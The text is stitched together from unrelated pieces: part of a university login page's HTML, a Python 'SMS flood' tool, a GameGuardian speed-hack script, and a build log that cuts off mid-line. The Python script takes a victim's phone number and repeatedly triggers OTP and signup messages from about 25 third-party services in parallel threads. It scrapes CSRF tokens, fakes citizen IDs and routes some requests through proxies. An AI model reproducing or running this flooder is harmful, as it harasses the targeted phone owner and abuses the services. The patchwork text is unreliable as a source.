href="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/apple-touch-icon-144-precomposed" sizes="144x144"> <link rel="shortcut icon" href="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/favicon"> </head> <body id="page-login-index" class="format-site path-login gecko dir-ltr lang-en yui-skin-sam yui3-skin-sam ilearn-mq-edu-au pagelayout-login course-1 context-1 notloggedin content-only layout-option-noblocks layout-option-nocourseheaderfooter layout-option-nocustommenu layout-option-nofooter layout-option-nonavbar"> <div class="skiplinks"><a class="skip" href="#maincontent">Skip to main content</a></div> <script type="text/javascript" src="https://ilearn.mq.edu.au/theme/yui_combo.php?r1487942275&rollup/3.17.2/yui-moodlesimple-min.js&rollup/1487942275/mcore-min.js"></script><script type="text/javascript" src="https://ilearn.mq.edu.au/theme/jquery.php/r1487942275/core/jquery-1.12.1.min.js"></script> <script type="text/javascript" src="https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/javascript-static.js"></script> <script type="text/javascript"> //<![CDATA[ document.body.className += ' jsenabled'; //]]> </script> <div id="nice_debug_area"></div> <header id="page-header"> <div class="container"> <div class="login-logos"> <div class="mq-logo"> <a class="login-logo" href="http://ilearn.mq.edu.au"><img alt="Macquarie University" src="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/login-logo"></a> </div><!-- /.mq-logo --> <div class="ilearn-logo"> <a class="login-logo-ilearn" href="http://ilearn.mq.edu.au"><img alt="iLearn" src="https://ilearn.mq.edu.au/theme/image.php/mqu/theme/1487942275/ilearn-logo"></a> </div><!-- /.ilearn-logo --> </div><!-- /.login-logos --> </div><!-- /.container --> </header><!-- #page-header --> <div id="page"> <div class="container" id="page-content"> <div class="login-wing login-wing-left"></div> <div class="login-wing login-wing-right"></div> <h1 class="login-h1">iLearn Login</h1> <span class="notifications" id="user-notifications"></span><div role="main"><span id="maincontent"></span><div class="loginbox clearfix twocolumns"> <div class="loginpanel"> <h2>Log in</h2> <div class="subcontent loginsub"> <form action="https://ilearn.mq.edu.au/login/index.php" method="post" id="login" > <div class="loginform"> <div class="form-label"><label for="username">Username</label></div> <div class="form-input"> <input type="text" name="username" id="username" size="15" tabindex="1" value="" /> </div> <div class="clearer"><!-- --></div> <div class="form-label"><label for="password">Password</label></div> <div class="form-input"> <input type="password" name="password" id="password" size="15" tabindex="2" value="" /> </div> </div> <div class="clearer"><!-- --></div> <div class="clearer"><!-- --></div> <input id="anchor" type="hidden" name="anchor" value="" /> <script>document.getElementById('anchor').value = location.hash</script> <input type="submit" id="loginbtn" value="Log in" /> <div class="forgetpass"><a href="forgot_password.php">Forgotten your username or password?</a></div> </form> <script type="text/javascript"> $(document).ready(function(){ var input = document.getElementById ("username"); input.focus(); }); </script> <div class="desc"> Cookies must be enabled in your browser<span class="helptooltip"><a href="https://ilearn.mq.edu.au/help.php?component=moodle&identifier=cookiesenabled&lang=en" title="Help with Cookies must be enabled in your browser" aria-haspopup="true" target="_blank"><img src="https://ilearn.mq.edu.au/theme/image.php/mqu/core/1487942275/help" alt="Help with Cookies must be enabled in your browser" class="iconhelp" /></a></span> </div> </div> </div> <div class="signuppanel"> <h2>Is this your first time here?</h2> <div class="subcontent"> </div> </div> <script> dataLayer = []; </script> <!-- Google Tag Manager --> <noscript><iframe src="//www.googletagmanager.com/ns.html?id=GTM-MQZTHB" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= '//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-MQZTHB');</script> <!-- End Google Tag Manager --> </div> </div><!-- /.container #page-content --> </div><!-- /#page --> <footer id="page-footer"> <div class="container"> <ul class="page-footer-ul"> <li><a href="http://help.ilearn.mq.edu.au/" target="_blank">iLearn Help and FAQ</a></li> <li><a href="https://oneid.mq.edu.au/" target="_blank">Forgotten your password?</a></li> <li><a href="http://status.ilearn.mq.edu.au/" target="_blank">iLearn Status</a></li> </ul><!-- /.page-footer-ul --> <div class="login-footer-info"> <p>If you are having trouble accessing your online unit due to a disability or health condition, please go to the <a href="http://www.students.mq.edu.au/support/accessibility_services" target="_blank">Student Services Website</a> for information on how to get assistance</p> <p>All material available on iLearn belongs to Macquarie University or has been copied and communicated to Macquarie staff and students under statutory licences and educational exceptions under Australian copyright law. This material is provided for the educational purposes of Macquarie students and staff. It is illegal to copy and distribute this material beyond iLearn except in very limited circumstances and as provided by specific copyright exceptions.</p> </div><!-- /.login-footer-info --> <div class="login-footer-link"> <div class="bootstrap-row"> <div class="col-md-7"> <p>© Copyright Macquarie University | <a href="http://www.mq.edu.au/privacy/privacy.html" target="_blank">Privacy</a> | <a href="http://www.mq.edu.au/accessibility.html" target="_blank">Accessibility Information</a></p> </div><!-- /.col-md-7 --> <div class="col-md-5"> <p>ABN 90 952 801 237 | CRICOS Provider 00002J</p> </div><!-- /.col-md-5 --> </div><!-- /.bootstrap-row --> </div><!-- /.login-footer-link --> </div><!-- /.container --> </footer><!-- /#page-footer --> <script type="text/javascript"> //<![CDATA[ var require = { baseUrl : 'https://ilearn.mq.edu.au/lib/requirejs.php/1487942275/', // We only support AMD modules with an explicit define() statement. enforceDefine: true, skipDataMain: true, waitSeconds : 0, paths: { jquery: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/jquery/jquery-1.12.1.min', jqueryui: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/jquery/ui-1.11.4/jquery-ui.min', jqueryprivate: 'https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/requirejs/jquery-private' }, // Custom jquery config map. map: { // '*' means all modules will get 'jqueryprivate' // for their 'jquery' dependency. '*': { jquery: 'jqueryprivate' }, // 'jquery-private' wants the real jQuery module // though. If this line was not here, there would // be an unresolvable cyclic dependency. jqueryprivate: { jquery: 'jquery' } } }; //]]> </script> <script type="text/javascript" src="https://ilearn.mq.edu.au/lib/javascript.php/1487942275/lib/requirejs/require.min.js"></script> <script type="text/javascript"> //<![CDATA[ require(['core/first'], function() { ; require(["core/notification"], function(amd) { amd.init(1, [], false); });; require(["core/log"], function(amd) { amd.setConfig({"level":"warn"}); }); }); //]]> </script> <script type="text/javascript"> //<![CDATA[ M.yui.add_module({"mathjax":{"name":"mathjax","fullpath":"https:\/\/cdn.mathjax.org\/mathjax\/2.6-latest\/MathJax.js?delayStartupUntil=configured"}}); //]]> </script> <script type="text/javascript" src="https://ilearn.mq.edu.au/theme/javascript.php/mqu/1487942275/footer"></script> <script type="text/javascript"> //<![CDATA[ M.str = {"moodle":{"lastmodified":"Last modified","name":"Name","error":"Error","info":"Information","namedfiletoolarge":"The file '{$a->filename}' is too large and cannot be uploaded","yes":"Yes","no":"No","morehelp":"More help","loadinghelp":"Loading...","cancel":"Cancel","ok":"OK","confirm":"Confirm","areyousure":"Are you sure?","closebuttontitle":"Close","unknownerror":"Unknown error"},"repository":{"type":"Type","size":"Size","invalidjson":"Invalid JSON string","nofilesattached":"No files attached","filepicker":"File picker","logout":"Logout","nofilesavailable":"No files available","norepositoriesavailable":"Sorry, none of your current repositories can return files in the required format.","fileexistsdialogheader":"File exists","fileexistsdialog_editor":"A file with that name has already been attached to the text you are editing.","fileexistsdialog_filemanager":"A file with that name has already been attached","renameto":"Rename to \"{$a}\"","referencesexist":"There are {$a} alias\/shortcut files that use this file as their source","select":"Select"},"admin":{"confirmdeletecomments":"You are about to delete comments, are you sure?","confirmation":"Confirmation"},"block":{"addtodock":"Move this to the dock","undockitem":"Undock this item","dockblock":"Dock {$a} block","undockblock":"Undock {$a} block","undockall":"Undock all","hidedockpanel":"Hide the dock panel","hidepanel":"Hide panel"},"langconfig":{"thisdirectionvertical":"btt"}}; //]]> </script> <script type="text/javascript"> //<![CDATA[ (function() {M.util.load_flowplayer(); setTimeout("fix_column_widths()", 20); Y.use("moodle-core-dock-loader",function() {M.core.dock.loader.initLoader(); }); M.util.help_popups.setup(Y); Y.use("moodle-core-popuphelp",function() {M.core.init_popuphelp(); }); M.util.js_pending('random58b8dd8d3abcf2'); Y.on('domready', function() { M.util.move_debug_messages(Y); M.util.js_complete('random58b8dd8d3abcf2'); }); M.util.js_pending('random58b8dd8d3abcf3'); Y.on('domready', function() { M.util.netspot_perf_info(Y, "00000000:0423_00000000:0050_58B8DD8D_30F8F6D:3B0C", 1488510349.1968); M.util.js_complete('random58b8dd8d3abcf3'); }); M.util.init_skiplink(Y); Y.use("moodle-filter_glossary-autolinker",function() {M.filter_glossary.init_filter_autolinking({"courseid":0}); }); Y.use("moodle-filter_mathjaxloader-loader",function() {M.filter_mathjaxloader.configure({"mathjaxconfig":"\nMathJax.Hub.Config({\n config: [\"Accessible.js\", \"Safe.js\"],\n errorSettings: { message: [\"!\"] },\n skipStartupTypeset: true,\n messageStyle: \"none\",\n TeX: {\n extensions: [\"mhchem.js\",\"color.js\",\"AMSmath.js\",\"AMSsymbols.js\",\"noErrors.js\",\"noUndefined.js\"]\n }\n});\n ","lang":"en"}); }); M.util.js_pending('random58b8dd8d3abcf5'); Y.on('domready', function() { M.util.js_complete("init"); M.util.js_complete('random58b8dd8d3abcf5'); }); })(); //]]> </script> <script type="text/javascript">window.NREUM||(NREUM={});NREUM.info={"beacon":"bam.nr-data.net","licenseKey":"d6bb71fb66","applicationID":"3373525,3377726","transactionName":"YVMHYkVQWkIAUERQDFgZMEReHlheBlpeFgpYUgBOGUFcQQ==","queueTime":0,"applicationTime":48,"atts":"TRQEFA1KSUw=","errorBeacon":"bam.nr-data.net","agent":""}</script></body> </html>
Chayang223 / Sms1.pyimport requests,json,time, sys import threading, os, time, sys from requests import Session from threading import Thread from re import search from colorama import Fore, init from requests import get os.system('cls') init(convert=True) textcol = f"{Fore.BLACK}" def head(): print(f"""{Fore.RED}\n\n {Fore.RESET} ███████╗██╗ ██████╗ ██████╗ ██████╗ ███████╗███╗ ███╗███████╗ {Fore.RESET} ██╔════╝██║ ██╔═══██╗██╔═══██╗██╔══██╗ ██╔════╝████╗ ████║██╔════╝ {Fore.RESET} █████╗ ██║ ██║ ██║██║ ██║██║ ██║ ███████╗██╔████╔██║███████╗ {Fore.RESET} ██╔══╝ ██║ ██║ ██║██║ ██║██║ ██║ ╚════██║██║╚██╔╝██║╚════██║ {Fore.RESET} ██║ ███████╗╚██████╔╝╚██████╔╝██████╔╝ ███████║██║ ╚═╝ ██║███████║ {Fore.RESET} ╚═╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ {Fore.RESET} {Fore.RESET} [ > FLOOD SMS BY WATTHANAPONG < ] {Fore.RESET} {Fore.RESET} [+] | Usage : [PHONE] [AMOUNT] {Fore.RESET} [+] | METHOD : 26 Api """) def clear(): os.system('cls' if os.name == 'nt' else 'clear') def newpage(): clear() head() newpage() print("\n\n") newpage() print("\n\n") num = input (" [!] | Enter PhoneNumber : > ") newpage() print('\n\n') amount = int(input(" [+] | Amount : > ")) session = requests.Session() headers = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"} def ig_token(): d=get("https://www.instagram.com/",headers=headers).headers['set-cookie'] d=search("csrftoken=(.*);",d).group(1).split(";") return d[0],d[10].replace(" Secure, ig_did=","") class SMS(): def shopat(phone): requests=Session() requests.headers.update(headers) token=search('<meta name="_csrf" content="(.*)" />',requests.get("https://www.shopat24.com/register/").text).group(1) requests.post("https://www.shopat24.com/register/ajax/requestotp/",data=f"phoneNumber={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","x-csrf-token": token}).status_code def MCard(PHONE): #MCard TOKEN = search('''<input type="hidden" name="_token" value="(.*)">''', session.get("https://www.mcardmall.com/th/apply/check").text).group(1) session.post("https://www.mcardmall.com/th/apply/check", headers={ "content-type": "application/x-www-form-urlencoded" }, data=f"_token={TOKEN}&mode=check&identity={SMS.CardNumber()}&contact={PHONE}&P0=on&P1=on&P2=on") def CardNumber(): return search( """<td height="50" align="center" valign="top"><input name="sample-citizen-id" type="text" id="sample-citizen-id" value="(.*)" o""", get("http://www.kzynet.com/tools/thai_citizen_id_generator/").text).group(1) def SCGID(PHONE): #SCGID requests.post("https://api.scg-id.com/api/otp/send_otp", headers={ "Content-Type": "application/json;charset=UTF-8"},json={"phone_no": PHONE}) def spam_cp(phone): #CP requests.post('https://cpfmapi.addressasia.com/wp-json/cpfm/v2/customer/get_otp', data = {'phone': phone}) def spam_bacarrat(phone): #VIP requests.post('https://api.baccaratth.com/api/v1/sendotp', data = {'phone_number': phone}) def spam_mooncash(phone): #moon_crash requests.get('http://m.thaiuang.com/uc/authcode/sms/get/reg/'+phone) def p1112(phone): requests.post('https://api2.1112.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers=headers) def delivery1112(phone): requests.post('https://api.1112delivery.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers=headers) def ICC(PHONE): #ICC print(Session().post("https://us-central1-otp-service-icc.cloudfunctions.net/getotp", headers={ "Content-Type": "application/json" }, json={"mobile_phone": PHONE,"type":"HISHER"})) def findclone(phone): requests.get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def icq(phone): requests.post(f"https://u.icq.net/api/v4/rapi",json={"method":"auth/sendCode","reqId":"24973-1587490090","params":{"phone": f"66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}},headers=headers) def okru(phone): requests=Session() requests.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) requests.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") requests.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def academy(phone): requests.post("https://unacademy.com/api/v3/user/user_check/",json={"phone":phone,"country_code":"TH"},headers=headers).json() def yandex(phone): requests.post("https://taxi.yandex.kz/3.0/launch/",json={},headers=headers).json() requests.post("https://taxi.yandex.kz/3.0/auth/",json={"id": ["id"], "phone": f"+66{phone[1:]}"},headers=headers) def homepro(phone): requests.post("https://www.homepro.co.th/service/user/profile/otp.jsp",data=f"action=otp&user_mobile_number={phone}",headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36","x-csrf-token": "AaqCrWeoDAPdJqmFtCnSCJN8a1mECsPB","content-type": "application/x-www-form-urlencoded; charset=UTF-8","cookie": "h11e_uuid=5da6d569-5a72-4014-afef-40990862f26e; ltcid=4ac7dc78-ae73-4617-ba28-75b31ed3bc9f; ltsid=9b139725-fc38fbcc; _gid=GA1.3.1373861600.1635677257; _fbp=fb.2.1635677258036.1072722582; h11e_data1=ZTE1MWFkY2ZjMDk3ODk1MzhiMzk1MzM0OTc5NDMzMmIzOWEyOGVhNWU3NWU1NzQzODJhODMyM2U1MWI3MGQ0Yzg1MWM4MGEzYjJmMjUwYTUxMThjZGU2YTQ3NzVkNDMy; h11e_lang=th; _dc_gtm_UA-112826849-3=1; h11e_user=N2NlM2E4ODNkYjQxNjcwNTg3YzgxN2UwZWJiMDFkNmU0ZWUzM2M0M2U2YTJmNTkxMzA2NjYxYzU2MTFiNjFjNw==; h11e_csrf=AaqCrWeoDAPdJqmFtCnSCJN8a1mECsPB; JSESSIONID=06E6906132FE92B731D49BFD2F00877D; _ga=GA1.3.106485705.1635677257; _ga_RMXSTMQMK7=GS1.1.1635677253.1.1.1635677348.0"}).json() def AISPlay(PHONE): session = Session() #AISPlay print(session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{PHONE[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms", headers={"User-Agent": "Mozilla/5.0 (Linux; Android 8.1.0; DUB-LX2 Build/HUAWEIDUB-LX2; wv) " "AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Mobile Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", session.get( "https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": "Mozilla/5.0 (Linux; Android 8.1.0; DUB-LX2 Build/HUAWEIDUB-LX2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Mobile Safari/537.36"}).text).group(1)}'''})) time.sleep(0.5) def prettygame(phone): requests.post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data = {"tel":phone,"otp_type":"register"}, headers = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36"}, proxies = {"http": "http://182.52.103.144:8080"}) def kaitorasap(phone): requests.post("https://www.kaitorasap.co.th/api/index.php/send-otp/", data="phone_number="+phone+"&lag=", headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","Cookie": "PHPSESSID=f5nrukmps3fa5gk25eh4v0tgg0; _ga=GA1.3.1240095898.1635597163; _gid=GA1.3.747741928.1635597163; _gat_gtag_UA_141105037_1=1"},proxies = {"http": "http://185.104.252.10:9090"}) def fox888(phone): requests.post("https://www.fox888.com/api/otp/register", data = "applicant="+phone+"&serviceName=FOX888", headers = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest"}) def foodland(phone): requests.post("https://shop.foodland.co.th/login/generation", data={"phone": phone}) def shoponline(phone): requests.post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data = "phone="+phone+"&type=phone&resend=0&pinid=", headers = {"accept": "application/json, text/javascript, */*; q=0.01", "content-type": "application/x-www-form-urlencoded; charset=UTF-8", "x-requested-with": "XMLHttpRequest", "user-agent": "Mozilla/5.0 (Linux; Android 5.1; A1601) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36", "cookie": "sqzllocal=sqzl614a950a0000008a8892;private_content_version=a8f313c36d800596d69c0634f8364ba7;PHPSESSID=0bfasg27occf98ngcr0p3mqlt7;_gcl_au=1.1.1797077583.1635431429;_hjid=16751239-bad6-46a9-b2f0-01bb94d26f2b;sqzl_session_id=617ab409000003ef5950|1635431433.703;_ga=GA1.4.1468961660.1635431432;_gid=GA1.4.108830963.1635431434;_gid=GA1.3.108830963.1635431434;_fbp=fb.2.1635431435074.169114230;sqzl_abs=0;_hjIncludedInPageviewSample=1;_hjAbsoluteSessionInProgress=0;_hjIncludedInSessionSample=1;mage-cache-storage=%7B%7D;mage-cache-storage-section-invalidation=%7B%7D;mage-cache-sessid=true;form_key=Pl5vFXKEPwQqulEz;mage-messages=;recently_viewed_product=%7B%7D;recently_viewed_product_previous=%7B%7D;recently_compared_product=%7B%7D;recently_compared_product_previous=%7B%7D;product_data_storage=%7B%7D;_ga_V7G71JV0ES=GS1.1.1635431429.1.1.1635431596.18;_ga=GA1.3.1468961660.1635431432;section_data_ids=%7B%22messages%22%3A1635431607%2C%22customer%22%3A1635431607%2C%22compare-products%22%3A1635431607%2C%22last-ordered-items%22%3A1635431607%2C%22cart%22%3A1635431742%2C%22directory-data%22%3A1635431607%2C%22instant-purchase%22%3A1635431607%2C%22persistent%22%3A1635431607%2C%22review%22%3A1635431607%2C%22wishlist%22%3A1635431607%2C%22ammessages%22%3A1635431607%2C%22gtm%22%3A1635431607%2C%22recently_viewed_product%22%3A1635431607%2C%22recently_compared_product%22%3A1635431607%2C%22product_data_storage%22%3A1635431607%2C%22paypal-billing-agreement%22%3A1635431607%2C%22checkout-fields%22%3A1635431607%2C%22collection-point-result%22%3A1635431607%7D"}) def wongnai(phone): requests.post('https://www.wongnai.com/_api/guest.json?_v=6.053&locale=th&_a=phoneLogIn', json={f'phoneno={phone}&retrycount=0'}, headers={'"content-type": "application/x-www-form-urlencoded",'}) def instagram(phone): token,_=ig_token() requests.post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username=66{phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def instagramv2(phone): token,cid=ig_token() requests.post("https://www.instagram.com/accounts/send_signup_sms_code_ajax/",data=f"client_id={cid}&phone_number=66{phone}&phone_id=&big_blue_token=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def kerry(phone): requests.post("https://th.kerryexpress.com/website-api/api/member/v1/Identity",data = {"phone": phone}, headers = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0","content-type": "application/json; charset=utf-8", "Accept": "application/json, text/plain, */*" }) def loop1(): global num SMS.AISPlay(num) print("ATTACK SMS | METHOD : AISPLAY") def loop2(): global num SMS.ICC(num) print("ATTACK SMS | METHOD : ICC") def loop3(): global num SMS.spam_bacarrat(num) print("ATTACK SMS | METHOD : VIP") def loop4(): global num SMS.spam_cp(num) print("ATTACK SMS | METHOD : CP") def loop6(): global num SMS.spam_pizza(num) print("ATTACK SMS | METHOD : PIZZA") def loop7(): global num SMS.SCGID(num) print("ATTACK SMS | METHOD : SCGID") def loop8(): global num SMS.shopat(num) print("ATTACK SMS | METHOD : SHOPAT24") def loop9(): global num SMS.MCard(num) print("ATTACK SMS | METHOD : MCARD") def loop10(): global num SMS.delivery1112(num) print("ATTACK SMS | METHOD : DELIVERY1112") def loop11(): global num SMS.okru(num) print("ATTACK SMS | METHOD : OKURA") def loop12(): global num SMS.icq(num) print("ATTACK SMS | METHOD : ICQ") def loop13(): global num SMS.academy(num) print("ATTACK SMS | METHOD : ACADEMY") def loop14(): global num SMS.yandex(num) print("ATTACK SMS | METHOD : YANDEX") def loop14(): global num SMS.homepro(num) print("ATTACK SMS | METHOD : HOMEPRO") def loop15(): global num SMS.findclone(num) print("ATTACK SMS | METHOD : FINDCLONE") def loop16(): global num SMS.instagram(num) print("ATTACK SMS | METHOD : IG-V1") def loop17(): global num SMS.instagramv2(num) print("ATTACK SMS | METHOD : IG-V2") def loop18(): global num SMS.foodland(num) print("ATTACK SMS | METHOD : FOODLAND") def loop19(): global num SMS.wongnai(num) print("ATTACK SMS | METHOD : WONGNAI") def loop20(): global num SMS.fox888(num) print("ATTACK SMS | METHOD : FOX") def loop21(): global num SMS.wongnai(num) print("ATTACK SMS | METHOD : WONGNAI") def loop22(): global num SMS.shoponline(num) print("ATTACK SMS | METHOD : SHOPONILNE") def loop23(): global num SMS.prettygame(num) print("ATTACK SMS | METHOD : PRETTYGAME") def loop24(): global num SMS.kaitorasap(num) print("ATTACK SMS | METHOD : KAITORASAP") def loop25(): global num SMS.kerry(num) print("ATTACK SMS | METHOD : KERRY") for _ in range(amount): time.sleep(0.60) threading.Thread(target=loop1).start() threading.Thread(target=loop2).start() threading.Thread(target=loop3).start() threading.Thread(target=loop4).start() threading.Thread(target=loop6).start() threading.Thread(target=loop7).start() threading.Thread(target=loop8).start() threading.Thread(target=loop9).start() threading.Thread(target=loop11).start() threading.Thread(target=loop12).start() threading.Thread(target=loop13).start() threading.Thread(target=loop14).start() threading.Thread(target=loop15).start() threading.Thread(target=loop16).start() threading.Thread(target=loop17).start() threading.Thread(target=loop18).start() threading.Thread(target=loop19).start() threading.Thread(target=loop20).start() threading.Thread(target=loop21).start() threading.Thread(target=loop22).start() threading.Thread(target=loop23).start() threading.Thread(target=loop24).start() threading.Thread(target=loop25).start() Code speed hack 1.5x No dead On: gg.setRanges(gg.REGION_ANONYMOUS) gg.clearResults() gg.searchNumber("Q9A9999\"?\"00803FEC51383E", 1) gg.refineNumber("Q9A99993F", 1) gg.getResults(1000) gg.editAll("Q0AD7E33F", 1) gg.toast("✔️ เปิด ✔️") Off:gg.setRanges(gg.REGION_ANONYMOUS) gg.clearResults() gg.searchNumber("Q9A9999\"?\"00803FEC51383E", 1) gg.refineNumber("Q9A99993F", 1) gg.getResults(1000) gg.editAll("Q0AD7E33F", 1) gg.toast("❌ ปิด ❌") Join @NeverDi9998
Lhagawajaw / 11 36 00 PM Build Ready To Start 11 36 02 PM Build Image Version 72a309a113b53ef075815b129953617811:36:00 PM: Build ready to start 11:36:02 PM: build-image version: 72a309a113b53ef075815b129953617827965e48 (focal) 11:36:02 PM: build-image tag: v4.8.2 11:36:02 PM: buildbot version: 72ebfe61ef7a5152002962d9129cc52f5b1bb560 11:36:02 PM: Fetching cached dependencies 11:36:02 PM: Failed to fetch cache, continuing with build 11:36:02 PM: Starting to prepare the repo for build 11:36:02 PM: No cached dependencies found. Cloning fresh repo 11:36:02 PM: git clone https://github.com/netlify-templates/gatsby-ecommerce-theme 11:36:03 PM: Preparing Git Reference refs/heads/main 11:36:04 PM: Parsing package.json dependencies 11:36:05 PM: Starting build script 11:36:05 PM: Installing dependencies 11:36:05 PM: Python version set to 2.7 11:36:06 PM: v16.15.1 is already installed. 11:36:06 PM: Now using node v16.15.1 (npm v8.11.0) 11:36:06 PM: Started restoring cached build plugins 11:36:06 PM: Finished restoring cached build plugins 11:36:06 PM: Attempting ruby version 2.7.2, read from environment 11:36:08 PM: Using ruby version 2.7.2 11:36:08 PM: Using PHP version 8.0 11:36:08 PM: No npm workspaces detected 11:36:08 PM: Started restoring cached node modules 11:36:08 PM: Finished restoring cached node modules 11:36:09 PM: Installing NPM modules using NPM version 8.11.0 11:36:09 PM: npm WARN config tmp This setting is no longer used. npm stores temporary files in a special 11:36:09 PM: npm WARN config location in the cache, and they are managed by 11:36:09 PM: npm WARN config [`cacache`](http://npm.im/cacache). 11:36:09 PM: npm WARN config tmp This setting is no longer used. npm stores temporary files in a special 11:36:09 PM: npm WARN config location in the cache, and they are managed by 11:36:09 PM: npm WARN config [`cacache`](http://npm.im/cacache). 11:36:24 PM: npm WARN deprecated source-map-url@0.4.1: See https://github.com/lydell/source-map-url#deprecated 11:36:25 PM: npm WARN deprecated source-map-resolve@0.5.3: See https://github.com/lydell/source-map-resolve#deprecated 11:36:26 PM: npm WARN deprecated uuid@3.4.0: Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details. 11:36:28 PM: npm WARN deprecated querystring@0.2.1: The querystring API is considered Legacy. new code should use the URLSearchParams API instead. 11:36:33 PM: npm WARN deprecated subscriptions-transport-ws@0.9.19: The `subscriptions-transport-ws` package is no longer maintained. We recommend you use `graphql-ws` instead. For help migrating Apollo software to `graphql-ws`, see https://www.apollographql.com/docs/apollo-server/data/subscriptions/#switching-from-subscriptions-transport-ws For general help using `graphql-ws`, see https://github.com/enisdenjo/graphql-ws/blob/master/README.md 11:36:36 PM: npm WARN deprecated async-cache@1.1.0: No longer maintained. Use [lru-cache](http://npm.im/lru-cache) version 7.6 or higher, and provide an asynchronous `fetchMethod` option. 11:36:37 PM: npm WARN deprecated babel-eslint@10.1.0: babel-eslint is now @babel/eslint-parser. This package will no longer receive updates. 11:36:41 PM: npm WARN deprecated devcert@1.2.0: critical regex denial of service bug fixed in 1.2.1 patch 11:36:42 PM: npm WARN deprecated debug@4.1.1: Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797) 11:36:45 PM: npm WARN deprecated urix@0.1.0: Please see https://github.com/lydell/urix#deprecated 11:36:45 PM: npm WARN deprecated resolve-url@0.2.1: https://github.com/lydell/resolve-url#deprecated 11:36:53 PM: npm WARN deprecated puppeteer@7.1.0: Version no longer supported. Upgrade to @latest 11:37:30 PM: added 2044 packages, and audited 2045 packages in 1m 11:37:30 PM: 208 packages are looking for funding 11:37:30 PM: run `npm fund` for details 11:37:30 PM: 41 vulnerabilities (13 moderate, 25 high, 3 critical) 11:37:30 PM: To address issues that do not require attention, run: 11:37:30 PM: npm audit fix 11:37:30 PM: To address all issues possible (including breaking changes), run: 